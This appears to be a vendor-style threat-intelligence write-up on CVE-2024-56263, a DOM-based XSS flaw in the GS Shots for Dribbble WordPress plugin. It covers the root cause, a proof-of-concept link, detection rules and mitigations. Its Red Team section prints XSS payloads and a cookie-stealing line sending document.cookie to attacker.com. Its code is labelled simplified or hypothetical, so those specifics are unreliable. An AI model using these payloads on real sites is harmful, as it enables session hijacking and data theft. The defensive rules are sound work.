CVE-2024-56263

Executive Summary

CVE-2024-56263 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the GS Shots for Dribbble WordPress plugin (slug: gs-dribbble-portfolio), developed by GS Plugins. The flaw exists in versions up to and including 1.2.0, where user-supplied input is improperly neutralized during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser context. This is a WordPress ecosystem issue, not related to Apache or Nginx.

The vulnerability has a CVSS score of 6.5 (Medium), with an EPSS probability of 0.0% (low exploitation likelihood). No public exploit code or Nuclei template is available, but the attack vector is straightforward: an attacker can craft a malicious URL or DOM manipulation to inject JavaScript, leading to session hijacking, defacement, or data theft.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin from the directory are affected. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported. However, the lack of a patch from the vendor increases supply chain risk, as users must rely on manual mitigation or plugin removal.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the DOM-based nature and requirement for user interaction reduce immediate risk. However, in a WordPress context, XSS can lead to privilege escalation if an admin is targeted.

Deep Dive & Mechanics

The vulnerability resides in the gs-dribbble-portfolio plugin, which fetches and displays Dribbble shots. The plugin uses JavaScript to handle user input (e.g., search parameters, URL fragments) and injects it into the DOM without proper sanitization. Specifically, the plugin reads window.location.hash or document.URL and writes it directly into innerHTML or similar DOM methods.

Attack Flow:

1. Attacker crafts a URL like: https://victim-site.com/?page_id=123#<img src=x onerror=alert(1)>
2. The plugin's JavaScript extracts the hash value and inserts it into the page DOM.
3. The browser parses the injected HTML, executing the onerror event.
4. The attacker can escalate to steal cookies, redirect users, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding when handling DOM-based input. The plugin does not use textContent or encodeURIComponent before DOM insertion.

Vulnerable vs. Patched Code

Vulnerable Code (v1.2.0):

// gs-dribbble-portfolio.js (simplified)
var hash = window.location.hash.substring(1);
document.getElementById('gs-dribbble-container').innerHTML = hash;

Patched Code (Hypothetical):

// Patched version
var hash = window.location.hash.substring(1);
var safeHash = document.createTextNode(hash);
document.getElementById('gs-dribbble-container').appendChild(safeHash);

The vulnerable code directly assigns user input to innerHTML, while the patched version uses createTextNode to safely encode the input.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code exists, a proof-of-concept can be crafted:

<!-- Exploit: CVE-2024-56263 DOM XSS -->
<a href="https://victim-site.com/?page_id=123#<img src=x onerror=alert('XSS')>">Click me</a>

Steps:

1. Host the above HTML on an attacker-controlled server.
2. Lure a victim (e.g., via phishing email) to click the link.
3. The victim's browser executes the injected script.

Advanced Payload:

// Steal cookies
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + document.cookie;

Blue Team (Detection & Hardening)

• Input Validation: Block URLs containing #<script or #<img patterns.
• Content Security Policy (CSP): Add script-src 'self'; to prevent inline execution.
• Web Application Firewall (WAF): Deploy rules to block DOM-based XSS patterns.

Indicators of Compromise (IOCs)

• URL Patterns: *?page_id=*#<img*onerror=*, *#<script>*
• JavaScript Execution: Unexpected alert() dialogs or network requests to unknown domains.
• DOM Anomalies: Presence of <img src=x onerror=...> or <script> tags in the gs-dribbble-container element.
• Log Entries: HTTP requests with fragment identifiers containing HTML tags.

Detection Engineering

YARA Rule

rule CVE_2024_56263_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS payloads targeting GS Shots for Dribbble"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56263"
    strings:
        $payload1 = /#<img[^>]*onerror=/i
        $payload2 = /#<script[^>]*>/i
        $payload3 = /#<svg[^>]*onload=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-56263 DOM XSS in GS Shots for Dribbble
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with DOM XSS payloads in the fragment identifier
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<img'
            - '#<script'
            - '#<svg'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56263 DOM XSS Attempt"; flow:to_server; content:"#<img"; http_uri; nocase; content:"onerror"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Apply a virtual patch via WAF to block URLs containing #<img, #<script, or #<svg.
3. Implement CSP with script-src 'self'; and object-src 'none';.

Long-Term Fix:

• The vendor must release a patched version (e.g., 1.2.1) that uses textContent or createTextNode instead of innerHTML.
• Users should monitor the WordPress Plugin Directory for updates.

Workaround:

• Add the following JavaScript to the site's theme to sanitize hash input:

// Override vulnerable behavior
var originalHash = window.location.hash;
if (originalHash) {
    var safeText = document.createTextNode(originalHash);
    document.getElementById('gs-dribbble-container').innerHTML = '';
    document.getElementById('gs-dribbble-container').appendChild(safeText);
}

Valters IT
DevSecOps & Cyber Threat Intelligence